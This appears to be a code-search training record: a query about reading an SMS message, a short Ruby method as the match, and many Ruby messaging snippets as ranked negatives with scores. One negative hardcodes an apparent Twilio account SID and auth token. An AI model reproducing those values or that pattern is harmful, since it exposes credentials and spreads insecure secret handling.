[ "0.6722861", "0.668243", "0.64884335", "0.6439694", "0.64079", "0.6379113", "0.63689756", "0.63584304", "0.63232124", "0.6282554", "0.6272412", "0.6272412", "0.6268909", "0.62551105", "0.6141466", "0.6133677", "0.6107761", "0.6098927", "0.6086022", "0.60630333", "0.6040975", "0.60406494", "0.6027795", "0.60238296", "0.60206074", "0.5999749", "0.5992492", "0.59886414", "0.59854513", "0.5974387", "0.5974387", "0.5974387", "0.5974387", "0.5974387", "0.5974387", "0.5974387", "0.5974387", "0.5974387", "0.5974387", "0.5974387", "0.5974387", "0.5974387", "0.5974387", "0.5974387", "0.5974387", "0.5974387", "0.5974387", "0.5974387", "0.5974387", "0.5974387", "0.5974387", "0.59738284", "0.5970238", "0.5965729", "0.59619087", "0.59519905", "0.59374774", "0.59374774", "0.59374774", "0.59374774", "0.59374774", "0.59374774", "0.59374774", "0.59374774", "0.59319127", "0.5926493", "0.59218544", "0.5921759", "0.5921612", "0.59000456", "0.58985525", "0.58949286", "0.5894219", "0.58838534", "0.58838534", "0.5881006", "0.58800596", "0.5877484", "0.5877484", "0.5876246", "0.58742076", "0.5868411", "0.58502126", "0.58482945", "0.5830093", "0.5780912", "0.57756823", "0.5771964", "0.5759246", "0.57547", "0.57433313", "0.5733236", "0.5729009", "0.57268643", "0.5725746", "0.57228017", "0.57208884", "0.5720104", "0.5715654", "0.5705393" ]
0.67359287
0
read an SMS message
def read(idx=1) messages[idx.to_i-1] end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def read(idx=1)\n\n cmd('CMGR=' + idx.to_s) do |r| \n begin\n parse_msg r \n rescue SmsSerialError => e\n puts 'Invalid message no.'.warning\n nil\n end\n end\n\n end", "def receive_sms\n @view = \"sms\"\n @body = params[\"Body\"]\n @phone_number = params[\"From\"]\n set_user_create_message_parse_and_point\n end", "def receive(sms)\n sms = connection.parse(sms)\n new.receive(sms)\n end", "def receive_sms\n uninitialize_sms\n body = params[:Body]\n phone_number = normalize_phone params[:From].strip\n @problem_text = body.split\n action = sms_parsing(body).downcase\n if action == \"join\"\n sms_create_account\n return\n elsif Account.find_by_phone_number(phone_number) == nil\n sms_send(params[:From], \"Please first create an account by texting the word 'join'.\")\n return\n end\n if !@sms_error\n case action\n when /^add$/,/^insert$/\n sms_create\n when /^accept$/\n sms_accept_problem\n when /^get$/\n @offset = false\n sms_get(0)\n when /^edit$/\n sms_edit\n when /^delete$/, /^destroy$/\n sms_delete\n when /^next$/\n offset = session[\"offset\"]\n if offset == nil\n sms_error(\"Sorry, there is no saved session right now. Please first text \\\"GET\\\" with @location !skill %number of texts you want to allow.\")\n else\n @offset = true\n sms_get(offset)\n end\n when /^detail$/, /^details$/, /^describe$/\n sms_detail\n when /^account$/\n forgot_acc\n when /^change$/\n sms_change_password\n when /^password$/\n forgot_password\n# when /^skill$/, /^skills$/\n# sms_skill\n when /^keywords$/, /^key$/, /^keys$/, /^help$/\n sms_keywords\n when /^explain$/\n sms_explain\n else\n if is_num?(action)\n session[:received_confirmation] = action\n sms_confirm_acc\n else\n sms_wrong_keyword\n end\n end\n end\n render :nothing => true\n end", "def read_message(s)\n if buffer = s.read(4) and buffer.size == 4\n length = buffer.unpack('N').first\n begin\n str = s.read length\n message = Riemann::Message.decode str\n rescue => e\n puts \"Message was #{str.inspect}\"\n raise\n end\n\n unless message.ok\n puts \"Failed\"\n raise ServerError, message.error\n end\n\n message\n else\n raise InvalidResponse, \"unexpected EOF\"\n end\n end", "def retrieve_sms(message_id)\n Response.new self.class.get(\"/messages/#{message_id}\", :basic_auth => @auth, :headers => SMSIFIED_HTTP_HEADERS)\n end", "def read_message! bytes, state=nil\n begin\n do_read_message! bytes, state\n rescue\n nil\n end\n end", "def consume_sms(message, text_message_options)\n object_name = text_message_options[message.body.strip] ? text_message_options[message.body.strip][0] : nil\n format = !object_name.nil? ? text_message_options[message.body.strip][1] : \"\"\n if message.body.strip == \"#0\" || object_name.nil?\n keys = text_message_options.keys\n info_message = \"\"\n keys.each do |x|\n info_message << \"#{x} for #{text_message_options[x][0]}\\n\"\n end\n \n return info_message\n end\n\n @account.object_instances_as_sms(object_name, format)\n end", "def messages\n @logger.log(\"Getting messages from phone.\")\n \n # Get a list of messages\n msg = nil\n msgs = ATPhone::SMS.new(self)\n\n # Turn on text mode\n send(\"AT+CMGF=1\")\n \n resp = send(\"AT+CMGL\")\n resp.each_line do |line|\n # If it is a message header\n if line[0..5] == '+CMGL:'\n # Add formed message to list\n msgs[msg.index] = msg unless msg.nil?\n \n # Create new message from phone data\n index, status, number = line[7..-1].split(',')\n msg = ATPhone::SMS::Message.new(\n \"\",\n number.strip.gsub('\"', ''),\n index.to_i,\n status.strip.gsub('\"', '')\n )\n # If it's not a command, then it's text\n elsif not msg.nil?\n msg.message += line\n end\n end\n\n # Add last message\n msgs[msg.index] = msg unless msg.nil?\n\n msgs\n end", "def read_message(adapter, queue_url)\n result = adapter.sqs_client.receive_message(\n queue_url: queue_url,\n max_number_of_messages: 1,\n wait_time_seconds: adapter.options[:mq_aws_sqs_read_timeout],\n message_attribute_names: [\"All\"]\n )\n return nil if result.messages.count == 0\n return result.messages.first if result.messages.count == 1\n\n raise Mimi::Messaging::ConnectionError, \"Unexpected number of messages read\"\n end", "def read_message\n return @text_queue.shift\n end", "def sms\n # Give Twilio the TwiML payload instructions\n twiml_payload\n end", "def read\n until message = @reader.read_message!(@unread, @state)\n bytes = @ios.read\n if bytes and not bytes.empty?\n @unread << bytes\n else\n return nil \n end\n if @unread.size > MAX_RECEIVE_SIZE \n raise \"Maximum message size (#{MAX_RECEIVE_SIZE}) exceeded\"\n end\n end\n\n return message\n end", "def read()\n\tloop {\n\t\t#puts (\"read list in : #{$reading}\")\n\t\trs, ws, es = IO.select($reading, nil, nil, 1)\n\t\tif (rs != nil)\n\t\t\trs.each { |r|\n\t\t\t\tmsg = r.gets\n\t\t\t\t#only reads in messages sent from a socket\n\t\t\t\tif (!(msg == nil))\n\t\t\t\t\tmsg_info = msg.split(\" \")\n\t\t\t\t\t#if msg_info[0] != \"LSP\"\n\t\t\t\t\t#puts(\"just recieved a message #{msg}\")\n\t\t\t\t\t#end\n\t\t\t\t\t#puts (\"just recieved a message #{msg}\")\n\t\t\t\t\tparseMsg(msg)\t\t\t\n\t\t\t\tend\n\t\t\t}\n\t\tend\n\t\t\n\t}\nend", "def read_message(s)\n if buffer = s.read(4) and buffer.size == 4\n length = buffer.unpack('N').first\n begin\n str = s.read length\n message = UState::Message.decode str\n rescue => e\n puts \"Message was #{str.inspect}\"\n raise\n end\n \n unless message.ok\n puts \"Failed\"\n raise ServerError, message.error\n end\n \n message\n else\n raise InvalidResponse, \"unexpected EOF\"\n end\n end", "def sms\n \t\n \t#flash[:notice] = params\n \t#redirect_to root_path\n\n TwilioTextMessenger.new( params[:phone], params[:message]).call\n \t\n end", "def sms number, message\n response = @connection.cmd \"String\" =>\"sms send #{number} #{message}\", \"Match\" => /OK|KO:(.*)/, \"Timeout\" => 5\n if response.chomp == \"OK\"\n true\n else\n raise response.chomp.sub \"KO:\",''\n end\n end", "def read_message bytes, state=nil\n read_message! bytes.dup, state\n end", "def message_type\n 'sms'\n end", "def process_sms(body)\n return I18n.t('sms.nothing_in_msg') if body.blank?\n command, text = extract_commands(body)[0] # parse to first word=command, rest = text\n return case command.downcase\n when 'd' then group_deliver(text)\n when 'group', 'groups' then do_list_groups\n when 'info' then do_info(text) \n# when 'location' then do_location(text) \n when 'update', 'updates' then send_updates(text)\n when 'report', 'rep' then report_update(text)\n when '?', 'help' then do_help(text)\n when /\\A!/ then process_response(command, text)\n # More commands go here ...\n else\n unsolicited_response(body) || I18n.t('sms.unknown_command', :command => command)\n end\n end", "def search_sms(query_string)\n Response.new self.class.get(\"/messages?#{query_string}\", :basic_auth => @auth, :headers => SMSIFIED_HTTP_HEADERS)\n end", "def recv_mess()\n\tmenssage = @client.gets.chomp\n\treturn (menssage)\nend", "def sms\n reply = TwilioService.new.process_inbound_sms(params)\n render_twiml_message(reply) if reply\n end", "def read\n @message = Message.find(params[:id])\n @message.read(current_user)\n respond_to do |format|\n format.html # read.html.erb\n format.json { render json: @message }\n end\n end", "def read_message\n\t\traise \"Server is not yet started\" unless self.started?\n\t\theader = self.reader.read( 5 ) or raise \"Server aborted.\"\n\t\tchannel, bytes = header.unpack( HEADER_TEMPLATE )\n\t\tself.log.debug \"Read channel %p message (%d bytes)\" % [ channel, bytes ]\n\n\t\t# Input requested; return the requested length as the message\n\t\tif channel == 'I' || channel == 'L'\n\t\t\treturn channel, bytes\n\t\tend\n\n\t\tself.log.debug \"Reading %d more bytes of the message\" % [ bytes ]\n\t\tmessage = self.reader.read( bytes ) unless bytes.zero?\n\t\tself.log.debug { \" read message: %p\" % [ message ] }\n\t\treturn channel, message\n\tend", "def read_message\n if (line = @sock.gets and msg = IRC.parse_message(line))\n case msg.command\n when IRC::RPL_WELCOME\n i = msg.params[-1].rindex(' ') || -1\n @prefix = msg.params[-1][i + 1..-1]\n when IRC::CMD_PING\n pong(msg)\n when IRC::CMD_NICK\n # check if our nick got changed by the server\n @nickname = msg.params[0] if msg.nick == @nickname\n end\n msg\n end\n end", "def read_message\n if @io\n # Read lines until the first newline outside of kakoune-style single quotes.\n message_string = \"\"\n num_quotes = 0\n while true\n unless line = @io.gets\n @io = nil\n message_string.empty? ? return : break\n end\n message_string << line\n num_quotes += line.count(\"'\")\n break if num_quotes % 2 == 0\n end\n message_string.chomp!\n unless message_string.start_with?(\"'\") && message_string.end_with?(\"'\")\n throw \"Bad message_string: #{message_string}\"\n end\n # Parse an array quoted by kakoune using single quotes (') to surround elements\n # and doubled-up single quotes ('') to escape regular single quotes.\n message_string.scan(/'(?:[^']|'')*'/).map do |quoted_element|\n quoted_element[1..-2].gsub(\"''\", \"'\")\n end\n end\n end", "def lsp_read_message(io)\n @ext.data['lsp'].each_pair do |_k, v|\n next unless io == v.io\n\n headers, message = v.recv_message\n if headers == {}\n @logger.error \"server(#{v.server[:command]}) is not running\"\n v.status = :not_found\n # del_io_read_event(v.io)\n next\n end\n if message == nil\n @logger.error '[lsp] error'\n next\n end\n @logger.debug message.to_s\n if !message['id'].nil?\n # request or response\n id = message['id'].to_i\n if !v.request_buffer[id].nil?\n lsp_response(v, id, message)\n else # request?\n @logger.info '[LSP] recieve request???'\n @logger.info message.to_s\n end\n else # notification\n lsp_notification(v, message)\n end\n break\n end\n # end\n end", "def __getobj__ #:nodoc:\n @sms_message ||= processed_smser.message\n end", "def sms\n account_sid = params[:AccountSid]\n body = params[:Body]\n from = params[:From]\n from_zip = params[:FromZip]\n if from && body && # account_sid == TWILIO_ACCOUNT_SID \n sms = TwilioNet.new()\n sms.send_sms('2146680255', truncate(\"FROM:#{from} BODY:#{body}\", :length => 159) )\n render :layout => 'empty', :template => 'public/sms' \n else\n raise error \n end \n rescue\n render :text => \"Invalid Params #{params.inspect}\"\n end", "def read_message(socket)\n unless (buffer = socket.read(4)) && (buffer.size == 4)\n raise InvalidResponse, 'unexpected EOF'\n end\n\n length = buffer.unpack1('N')\n begin\n str = socket.read length\n message = Riemann::Message.decode str\n rescue StandardError\n puts \"Message was #{str.inspect}\"\n raise\n end\n\n unless message.ok\n puts 'Failed'\n raise ServerError, message.error\n end\n\n message\n end", "def receive_message(message)\n # Check if user send text.\n if !message.text.nil?\n model_response = send_to_api_ai(message.text)\n # Save message text from client to bot\n Message.create(message: message.text, fb_message_id: message.mid, client_id: @customer, bot: false)\n command_response = model_response[:result][:action] # accion\n message_response = model_response[:result][:fulfillment][:speech] # respuesta\n clasify_messagin(command_response, message_response)\n end\n # Check if user send attachments.\n if message.attachments.nil?\n puts message.attachments\n end\n end", "def message\n process_mess\n end", "def read(message_payload)\n debug_me{[ :message_payload ]}\n raise ::SmartMessage::Errors::NotImplemented\n end", "def read(message = {})\n raise \"Implement this in subclass\"\n end", "def message(message)\n get(\"inbox/messages/#{message}\").pop\n end", "def read\n @admin_message = Admin::Message.find(params[:id])\n\n # Mark either the conversation or the message itself as read by the user\n if @admin_message.recipients_can_reply? && current_user\n conversations = current_user.admin_conversations.find_all_by_admin_message_id(@admin_message.id)\n conversations.present? && conversations.each{|conversation| conversation.read_by!(current_user)}\n else\n @admin_message.read_by!(current_user)\n end\n\n render :nothing => true\n end", "def get_message_from_messageinfo m\n return nil if m.fake?\n @messages[m.message_id] ||= begin\n message = @context.client.load_message m.message_id\n message.parse! @context\n message.chunks.each { |c| @chunk_layouts[c] = ChunkLayout.new c }\n\n if message.unread?\n message.state -= [\"unread\"]\n @context.client.async_set_state! message.message_id, message.state\n @context.ui.broadcast :message_state, message.message_id\n end\n\n message\n end\n end", "def index\n @client = Twilio::REST::Client.new ENV['TWILIO_KEY_SID'], ENV['TWILIO_AUTH_TOKEN']\n @message_body = @client.account.messages.list[0].body\n @from_number = @client.account.messages.list[0].from\n # SMSLogger.log_text_message @from_number, @message_body\n number = convert_number(@from_number)\n @student = Student.find_by(phone_number: number)\n puts @message_body\n send_text_message(response)\n end", "def sms(number, message, sec=SMS_SEND_TIMEOUT)\n @logger.log(\"Sending message.\")\n\n msg = ATPhone::SMS::Message.new(message, number)\n \n # Turn on text mode\n send(\"AT+CMGF=1\")\n # Specify number\n raw_send(\"AT+CMGS=\\\"#{msg.number}\\\"\\r\")\n # send message\n raw_send(msg.text + EOM, sec)\n end", "def read_message(message_id)\n message =\n if self.is_client?\n self.messages.find(message_id)\n elsif self.is_employee?\n self.client.messages.find(message_id)\n end\n if self.is_client?\n message.update_columns(is_read: true)\n else\n u_ids = message.message_status.user_ids.push(self.id)\n logger.info u_ids\n message.message_status.update_columns(user_ids: u_ids)\n end\n end", "def recieve_and_read_file\n read_file(@message)\n end", "def message\n body = request.body.read\n if Aws::SNS::MessageVerifier.new.authentic?(body)\n json = JSON.parse(body)\n Rails.logger.debug(\"SNS: Received message: #{json}\")\n if json['Token']\n topic = ::Aws::SNS::Topic.new(Figaro.env.aws_et_sns_topic_arn)\n response = topic.confirm_subscription(token: json['Token'])\n Rails.logger.debug(\"SNS: Confirmed subscription for topic: #{Figaro.env.aws_et_sns_topic_arn}: #{response}\")\n else\n msg = JSON.parse(json['Message'])\n Rails.logger.debug(\"SNS: Message is for job: #{msg['jobId']} with state #{msg['state']}\")\n job = Job.where(external_id: msg['jobId']).first\n if job\n Jobs::Read.call(job: job)\n else\n Rails.logger.debug(\"No Job for job id #{msg['jobId']}\")\n end\n end\n end\n render nothing: true, status: 200, content_type: 'text/html'\n end", "def twilio_send_text_message!(client,phone_num,msg)\n begin\n sms = client.account.sms.messages.create(\n :from => TWILIO_PHONE,\n :to => phone_num,\n :body => msg)\n rescue Exception => e\n puts \"Problems with twilio:\\n#{e}\"\n end\n end", "def show\n @message = find_recipient_message\n redirect_to messages_inbox_index_path and return unless @message\n @message.mark_as_read\n end", "def new_sms_updates(content, tonumber)\n\t@client.messages.list.each do |message|\n\tRails.logger.debug(message.body)\n\tend\n end", "def retrieve_message(q)\n WMQ::QueueManager.connect(@connection_options) do |qmgr|\n qmgr.open_queue(:q_name => q.name, :mode => :input) do |queue|\n\n get_options = q.get_options.dup\n wmq_message = WMQ::Message.new\n \n if queue.get(get_options.merge(:message => wmq_message))\n return Message.new(wmq_message, q.name)\n else \n return nil\n end\n end\n end\n end", "def message\n response.body.match(/\"message\":\"(.*)\"/)[1]\n end", "def parseMessage(msg)\n \n #\n # get args\n #\n tmp=msg.sub(/^:/,\"\").sub(/ :/,\"\\n\").split(\"\\n\")\n cmdar=tmp[0].split(\" \")\n \n if(cmdar.size>3)\n @args=cmdar[3..-1]\n unless(tmp[1].nil?)\n @args.push(tmp[1])\n end\n else\n @args=[tmp[1]]\n end\n \n #\n # get spoken by whom\n #\n if(cmdar[0]=~/(.+?)!.*/)\n @fromNick=$1\n else\n @fromNick=cmdar[0]\n end\n \n if(@fromNick.nil?)\n @command=Event::RECV_MESSAGE_BROKEN\n return\n end\n \n @fromNick.strip!\n @from=cmdar[0].downcase.strip\n \n #\n # get command or reply code\n #\n cmnd=cmdar[1].upcase.strip\n @cmndstr=cmnd\n \n @to=cmdar[2]\n unless(@to.nil?)\n @to.strip!\n if(@to.empty?)\n @to=nil\n end\n end\n \n #\n # errors or system replys are seem non-0 integer\n #\n event=cmnd.to_i\n if(event==0)\n parseCommand(cmnd,@args)\n else\n @command=event\n end\n end", "def read_msg(size)\r\n value = \"\"\r\n size_aux = size\r\n while size_aux > 0 do\r\n msg = $stdin.gets.chop\r\n value_aux = msg[0..size_aux-1]\r\n value_aux = \"#{value_aux}\\n\"\r\n value = \"#{value}#{value_aux}\"\r\n size_aux = size_aux - value_aux.length\r\n end\r\n value\r\n end", "def message_body\n active_div.div(:id=>\"inbox_show_message\").div(:class=>\"inbox_excerpt\").text\n end", "def notifyViaSMS(number, message, api, user, password)\n result = nil\n message = CGI.escape message\n request = \"/http/sendmsg?api_id=#{api}&user=#{user}&password=#{password}&to=#{number}&text=#{message}&from=RIVR\" \n Net::HTTP.start( 'api.clickatell.com', 80 ) { |http| result = http.get(request).body } \n return result \n end", "def show\n @message = Message.find(params[:id])\n # udpate unread message to read\n if !@message.message_read\n @message.update_attributes(:message_read => true)\n end\n end", "def receive_message(msg)\n speakers = get_speakers(@resource[:name])\n answer = speakers.first.send(msg)\n Puppet.debug(\"#{resource[:name]} <= #{msg} <= #{answer}\")\n answer.to_s\n end", "def get_mms_message\n #encoded=Base64.encode64(s)\n return self.build_MMS_message(self.content)\n end", "def send_sms phone, message\n message = URI.escape message\n response = RestClient.get \"#{sender_base_url}/?from=#{@from}&to=#{phone}&text=#{message}&pass=#{@application_pass}\"\n @response = Response.new response\n end", "def getMessageContents(access_token, messageId, messagePart)\n \n url = \"#{@base_url}/rest/1/MyMessages/#{messageId}/#{messagePart}\"\n \n @agent.get(url, [], nil, {\"Authorization\" => \"Bearer #{access_token}\"})\n \n end", "def msg_read(n_bytes)\n\t@msg_buf += get_bytes(n_bytes)\n\t@msg_buf.flatten!\n\treturn @msg_buf[-1]\n end", "def read\n @socket.gets\n end", "def next_msg\n @socket.readline.chomp.split(\" \")\n end", "def sms?\n message_type&.to_sym == :sms\n end", "def reply\n @options[:method] = 'getsmsreply'\n @options[:clientmessagereference] = clientmessagereference\n response = ta_response(status_params)\n return response\n end", "def read_for!(user)\n received_message.read! if received_message\n replies.map { |r|\n r.received_message if r.recipient == user\n }.compact.each(&:read!)\n end", "def mark_as_read_message(safebox_guid, message_id)\n handle_error { sendsecure_connection.patch(\"api/v2/safeboxes/#{safebox_guid}/messages/#{message_id}/read\") }\n end", "def sms\n twiml do |r|\n r.Message \"Welcome to #{@session.current_state.titleize}, this area is currently under construction. \\nPlease check back soon\"\n r.Pause length: 2\n end\n end", "def sms_message(number,\r\n message,\r\n country_code = nil)\r\n # Prepare query url.\r\n _path_url = '/sms-message'\r\n _query_builder = Configuration.get_base_uri\r\n _query_builder << _path_url\r\n _query_url = APIHelper.clean_url _query_builder\r\n # Prepare headers.\r\n _headers = {\r\n 'accept' => 'application/json'\r\n }\r\n\r\n # Prepare form parameters.\r\n _parameters = {\r\n 'output-case' => 'camel',\r\n 'number' => number,\r\n 'message' => message,\r\n 'country-code' => country_code\r\n }\r\n _parameters = APIHelper.form_encode_parameters(_parameters)\r\n # Prepare and execute HttpRequest.\r\n _request = @http_client.post(\r\n _query_url,\r\n headers: _headers,\r\n parameters: _parameters\r\n )\r\n CustomQueryAuth.apply(_request)\r\n _context = execute_request(_request)\r\n validate_response(_context)\r\n # Return appropriate response type.\r\n decoded = APIHelper.json_deserialize(_context.response.raw_body)\r\n SMSMessageResponse.from_hash(decoded)\r\n end", "def get_message(display_id, message_id)\n get \"commandcenter/displays/#{display_id}/messages/#{message_id}\"\n end", "def show\n @message = Message.find(params[:id])\n\n @inbox = current_user.inbox_message.where('status = 0').count\n Message.read_message(@message,current_user.id)\n end", "def read(timeout = nil)\n wait_for_data(timeout) if timeout\n MsgVersion.new{ @socket.read msg_version.bytesize }.validate!\n size = MsgSize.new{ @socket.decode msg_size, msg_size.bytes }.validate!.value\n return MsgBody.new{ @socket.decode msg_body, size }.validate!.value\n end", "def get_messages\r\n init_message_handler\r\n begin\r\n while (line = @s.gets(\"\\n\"))\r\n next if line.nil?\r\n line = line.chomp.gsub /\\n|\\r/, ''\r\n next if line == ''\r\n msg_map = JSON.parse(line)\r\n @message_handler_service.process msg_map\r\n end\r\n rescue Exception => e\r\n puts 'get_messages raise exception:'\r\n puts e.backtrace.inspect\r\n end\r\n end", "def get_message\n @reply['message']\n end", "def send_sms(message)\n api_response = \"\"\n if !self.mobile.blank?\n txtlocal = Txtlocal.find_by_sms_type(Txtlocal::GROUP_CHAT)\n if !txtlocal.nil?\n txtlocal.message_contents = message\n api_response = txtlocal.send_sms(self.mobile)\n end\n else\n api_response = \"You have not provided any mobile number. Please go to your 'Account' to set up a mobile number\"\n end\n return api_response\n end", "def receive_message\n sqs = Aws::SQS::Client.new(region: ENV['AWS_REGION'])\n resp = sqs.receive_message(queue_url: ENV['SQS_ENDPOINT'])\n\n if resp.messages.count > 0\n process_message(resp.messages[0])\n end\n end", "def read(buffer = '')\n ZMQ.wait_readable(@socket) if ZMQ.evented?\n\n unless ::ZMQ::Util.resultcode_ok? @socket.recv_string buffer\n raise IOError, \"error receiving ZMQ string: #{::ZMQ::Util.error_string}\"\n end\n buffer\n end", "def read_messages!(user)\n if has_unread_messages?(user)\n user.reset_unread_chats_count\n self.chat_participations.where(user_id: user.id).first.try(:read_messages!)\n end\n end", "def create_sms(sms) \n s = SMS.new\n s.subscriber_id = @subscriber_id\n s.subscriber_password = @subscriber_password\n s.remote_host = @remote_host if @remote_host\n s.msg_pin = sms.recipients\n s.setSourceAddr(SMS::ADDR_TYPE_NETWORK, sms.from)\n s.msg_text = sms.body\n raise StandardError.new(\"SMS Body over 140 characters, body = \\n#{sms.body}\") if sms.body.size > 140\n s\n end", "def send_text_message(text_message)\n number_to_send_to = text_message.receiver\n message = text_message.content\n twilio_sid = \"AC50070372767bdf26a090b08007bba07f\"\n twilio_token = \"8ae1cdbb08d55b99cab34174c3cd8bbb\"\n twilio_phone_number = \"2245209581\"\n @twilio_client = Twilio::REST::Client.new twilio_sid, twilio_token\n @twilio_client.account.sms.messages.create(\n :from => \"+1#{twilio_phone_number}\",\n :to => number_to_send_to,\n :body => message\n )\n \n end", "def read_messages\n @useConversations = Message.where(\"user_id = (?)\", current_user.id).pluck(:conversation_id)\n if @useConversations.count > 0\n @useConversations = @useConversations.uniq # Unique\n @useConversations = @useConversations.map(&:inspect).join(', ')\n #@updatemsg = Message.where(\"user_id != (?) and conversation_id IN (?)\", current_user.id, @useConversations).update_all(:mark_as_read => true)\n @updatemsg = Message.where(\"user_id != #{current_user.id} and conversation_id in (#{@useConversations})\").update_all(:mark_as_read => true)\n session[:mark_messages] = 0 # Mark as read messages\n end\n end", "def sread(key, offset = 0, n = -1)\n @client.sendmsg(\"SREAD #{key} #{offset} #{n}\")\n read_sequence\n end", "def decode(message)\n start_time= Time.now\n @message = message\n qio = QIO.new(@message)\n begin\n @length, @message_type = qio.message_header()\n @value = qio.read_item()\n rescue QException => qe\n @exception = qe\n end\n end", "def send_sms(content, tonumber)\n tonumber = format(tonumber);\n \tbegin\n @client.messages.create({\n \t :from => @from_number,\n \t :to => tonumber,\n \t :body => content,\n })\n rescue Twilio::REST::RequestError => e\n message = I18n.t(\"errors.sms_not_sent\")\n rescue NoMethodError => e\n message = I18n.t(\"errors.sms_not_sent\")\n else\n message = I18n.t(\"notice.success\")\n end\n\n return message\n\n end", "def new; send_sms; end", "def send_sms\n status = self.status\n if status.upcase == 'INTERVENTION'\n self.message\n end\n end", "def read_messages\n begin\n uri = MQ_CONFIG[\"mq_uri\"]\n conn = Bunny.new(uri)\n conn.start\n channel = conn.create_channel\n\n if MQ_CONFIG[\"digitisation\"][\"source\"].blank?\n logger.warn \"#{Time.now.to_s} WARN: No digitisation source queue defined -> Not listening\"\n return\n end\n\n source = MQ_CONFIG[\"digitisation\"][\"source\"]\n q = channel.queue(source, :durable => true)\n\n logger.debug \"q.message_count = #{q.message_count}\"\n\n unread_messages = Array.new\n\n while q.message_count > 0 do\n delivery_info, metadata, payload = q.pop\n unread_messages.push(payload)\n end\n conn.close\n logger.debug \"Returning array containing #{unread_messages.length} unread messages\"\n unread_messages\n rescue Exception => e\n logger.error \" #{e.message}\"\n logger.error e.backtrace.join(\"\\n\")\n end\n end", "def read_all_messages\n post(\"/api/read_all_messages\")\n end", "def read_message(name, uploaded_ids, strip_emailchemy=false)\n raise UnknownMbox.new(name) unless @files[name]\n raise EOFError.new if !@files[name].nil? && @files[name].closed?\n @lock.synchronize do\n @files[name] = File.open(name) if @files[name].nil?\n message = Array.new\n skip_message = false\n message_id = nil\n convert_header = !strip_emailchemy\n begin\n currentpos = 0\n while(line = @files[name].readline) do\n if(message.size == 0 && line !~ /^From - ... ... .+?[0-9]{4}$/)\n Logger.info('Line does not match message start. Skipping to next line.')\n next\n end\n if(message.size != 0 && line =~ /^From - ... ... .+?[0-9]{4}$/)\n @files[name].pos = currentpos - line.length\n break\n else\n unless(skip_message)\n if(line =~ /^message-id: (.+)$/i)\n message_id = $1.strip\n Logger.info(\"Checking message-id: #{message_id}\")\n if(uploaded_ids.include?(message_id))\n Logger.warn(\"Duplicate message identified: #{message_id}\")\n skip_message = true\n end\n end\n unless(convert_header)\n if(line =~ /^x-converted-by: emailchemy/i)\n convert_header = true\n next\n end\n end\n message.push(line)\n end\n end\n currentpos = @files[name].pos\n end\n rescue EOFError\n Logger.info(\"Reached end of file: #{name}\")\n @files[name].close\n rescue Object => boom\n Logger.warn(\"Unknown error processing #{name}: #{boom}\")\n end\n end\n if(skip_message)\n raise MessageDuplicate.new(message_id)\n else\n message.delete_at(message.size - 1)\n return message.join('')\n end\n end", "def read\n @mutex.synchronize {\n if(!@reading)\n @reading = 1\n begin\n str = @sock.gets\n rescue\n end\n\n @reading = nil\n return str\n else\n return nil\n end\n }\n end", "def get_message\n db = SQLite3::Database.new(@fn)\n # db.busy_timeout=1000 # milliseconds?\n db.busy_timeout(1000) # milliseconds?\n db.transaction(:immediate)\n stmt = db.prepare(\"select msg_text from msg where user_id = ? order by id\")\n ps = Proc_sql.new();\n stmt.execute(@user_id){ |rs|\n ps.chew(rs)\n }\n stmt.close\n db.close()\n results = \"\"\n ps.loh.each { |hr|\n results.concat(\"\\n#{hr['msg_text']}\")\n }\n return results\n end", "def read() end", "def _receive_message state\n state.message_payload = _read(state.in_stream, state)\n end", "def message(params)\n params[\"text\"].scan(/\\w+:\\w+\\s(.*)/, 1)\n end", "def read_reply\n @socket.readline.chomp\n end", "def reply # acts as endpoint\n \tmessage_body = params[\"Body\"] # grab params from Twilio's request\n \tfrom_number = params[\"From\"]\n \tboot_twilio\n \tsms = @client.messages.create( # send to inbound number made by end user\n from: Rails.application.secrets.twilio_from_number,\n to: from_number,\n body: \"Hello there, thanks for texting me. Your number is #{from_number}.\"\n \t)\n end", "def read_interface \n \"\"\" Read messages from node(s) \"\"\"\n puts connected?\n arr = []\n arr2 = []\n\t str = String.new\n\t #data = arr[0]\n\t message = ZMQ::Message.create()\n\t #buffer = String.new\n\n Logger.instance.info(\"Waiting data...\")\n rc = @read_socket.recv_multipart(arr, arr2)\n #rc = @read_socket.recvmsg(message, flag = ZMQ::DONTWAIT)\n puts rc\n if rc == -1\n return nil\n end\n data = arr2[0].copy_out_string()\n data2 = data.dup()\n data[1] = data2[4]\n data[2] = data2[3]\n data[3] = data2[2]\n data[4] = data2[1]\n\t Logger.instance.info(data)\n read_interface_base(data)\n return data\n end", "def parseMessageFile(filename) \n \n mFile = File.open(filename)\n\n def mFile.nextContentLine\n line = nil\n loop do\n line = self.readline.chomp\n break unless line[0] == '#'\n end\n\n line\n end\n \n #from = mFile.readline.chomp\n from = mFile.nextContentLine\n \n #to = mFile.readline.chomp\n to = mFile.nextContentLine\n \n #cc = mFile.readline.chomp\n cc = mFile.nextContentLine\n cc = cc == '' ? nil : cc\n \n #subject = mFile.readline.chomp\n subject = mFile.nextContentLine\n \n \n body = ''\n \n mFile.each_line do |l|\n body << l\n \n \n \n \n end\n \n \n [from, to, cc, subject, body]\n \n \n \n \n end", "def sms\n @sms ||= TermuxRubyApi::SubSystems::Sms.new(self)\n end", "def sms\n @response, @documents = get_solr_response_for_field_values(SolrDocument.unique_key,params[:id])\n if request.post?\n url_gen_params = {:host => request.host_with_port, :protocol => request.protocol}\n tinyPass = request.protocol + request.host_with_port + catalog_path(params['id'])\n tiny = tiny_url(tinyPass)\n if params[:to]\n phone_num = params[:to].gsub(/[^\\d]/, '')\n unless params[:carrier].blank?\n if phone_num.length != 10\n flash[:error] = I18n.t('blacklight.sms.errors.to.invalid', :to => params[:to])\n else\n email = RecordMailer.sms_record(@documents, {:to => phone_num, :carrier => params[:carrier], :callnumber => params[:callnumber], :location => params[:location], :tiny => tiny}, url_gen_params)\n end\n\n else\n flash[:error] = I18n.t('blacklight.sms.errors.carrier.blank')\n end\n else\n flash[:error] = I18n.t('blacklight.sms.errors.to.blank')\n end\n\n unless flash[:error]\n email.deliver\n flash[:success] = \"Text sent\"\n redirect_to catalog_path(params['id']) unless request.xhr?\n end\n end\n unless !request.xhr? && flash[:success]\n respond_to do |format|\n format.js { render :layout => false }\n format.html\n end\n end\n end", "def send_message(phone_number, message)\n command = Command.new('SendSMSBasic', license_key)\n MessageStatus.new(\n Response.parse(\n command.execute({:PhoneNumber => phone_number, :Message => message})\n )[\"SmsReturn\"]\n )\n end", "def received_text\n message = params['events'][0]['message']\n if message.nil?\n nil\n else\n 